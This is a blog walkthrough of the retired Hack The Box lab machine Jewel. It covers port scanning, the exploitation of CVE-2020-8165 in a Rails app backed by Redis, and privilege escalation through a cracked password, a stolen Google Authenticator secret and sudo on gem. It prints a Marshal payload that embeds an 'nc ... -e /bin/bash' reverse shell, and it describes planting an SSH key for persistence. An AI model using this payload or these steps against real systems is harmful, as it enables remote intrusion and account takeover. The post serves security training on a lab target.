This post documents the complete walkthrough of Jewel, a retired vulnerable VM created by polarbearer, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.

On this post

Background

Jewel is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.211 --rate=500

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-10-11 11:15:55 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.10.211
Discovered open port 22/tcp on 10.10.10.211
Discovered open port 8000/tcp on 10.10.10.211

Nothing unusual stood out. Let’s do one better with nmap scanning the discovered ports to establish their services.

# nmap -n -v -Pn -p22,8000,8080 -A --reason 10.10.10.211 -oN nmap.txt
...
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open  http    syn-ack ttl 63 nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!

Hmm. Looks like there are two http services—8000/tcp and 8080/tcp. Here’s what they look like.

8000/tcp

8080/tcp

Ruby on Rails (or simply Rails)

The snapshot downloaded from gitweb reveals a Ruby on Rails project, a.k.a BL0G!

Upon entering the directory, I got a warning that ruby-2.5.5 is not installed. Not that it’s a big deal—it saves me time to determine the version of ruby used in this project.

Anyway, opening up Gemfile reveals that the rails version used is 5.2.2.1.

CVE-2020-8165 - Unintended unmarshalling in ActiveSupport resulting in RCE

While I was navigating through the Rails application, I saw the following code snippet in users_controller.rb.

It’s clear that Redis is used as a cache for updating username. Googling for “rails radiscachestore exploit” landed me in here.

So, if I can introduce a malicious string into the cache, I can achieve remote code execution!

Updating Username

Long story short, I signed up for an account and in the user’s profile lies the username update feature.

Foothold

I found this GitHub repository that actually goes through how to exploit CVE-2020-8165 by googling for “CVE-2020-8165 github”.

$ bundle exec rails console

irb(main):> code = '`nc 10.10.14.62 1234 -e /bin/bash`'
irb(main):> erb = ERB.allocate
irb(main):> erb.instance_variable_set :@src, code
irb(main):> erb.instance_variable_set :@filename, "1"
irb(main):> erb.instance_variable_set :@lineno, 1
irb(main):> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
irb(main):> puts URI.encode_www_form(payload: payload)

I’ll use the steps above to generate a url-encoded payload and submit to the user update via Burp Repeater.

Request

Response

You may get a 500 Internal Server Error but rest assured the payload is marshalled into Redis. All you need to do is to refresh your profile page and the reverse shell appears on your netcat listener.

The file user.txt is at bill’s home directory.

To maintain persistence, let’s plant a SSH public key we control into /home/bill/.ssh/authorized_keys.

Privilege Escalation

During enumeration of bill’s account, I notice that PasswordAuthentication in SSH is set to no, so this might meant that we need to look for bill’s password to see what’s in sudo -l, for example. Not knowing where to begin, I first look for files that were modified close to the modification date/time of user.txt by first touching a reference file with the same modification date/time as user.txt.

Notice the file .google_authenticator? Are we looking at two-factor authentication (2FA) here? Let’s keep that in mind while we continue our enumeration. However, I can’t help but notice that 2FA via Google Authenticator is implemented in PAM. More on that later.

Cracking bill’s password

Meanwhile, I notice a backup of the blog’s database.

Look at the difference between the current database and the backup.

Sending them hashes for offline cracking revealed the following:

I don’t suppose spongebob is bill’s password? Well, let’s find out.

FML…

Google Authenticator

Recall the file .google_authenticator? Turns out it contains the secret for Google Authenticator.

We can install a Firefox extension from https://authenticator.cc/ to get the one-time PIN (OTP). Having said that, I don’t recommend installing untrusted extension, especially if it’s not developed by Google, for private use.

With that, we can see what bill can do as root from sudo -l.

GTFOBins - gems

According to GTFOBins,

I guess the end is here…

Retrieving root.txt is trivial with a root shell.

:dancer: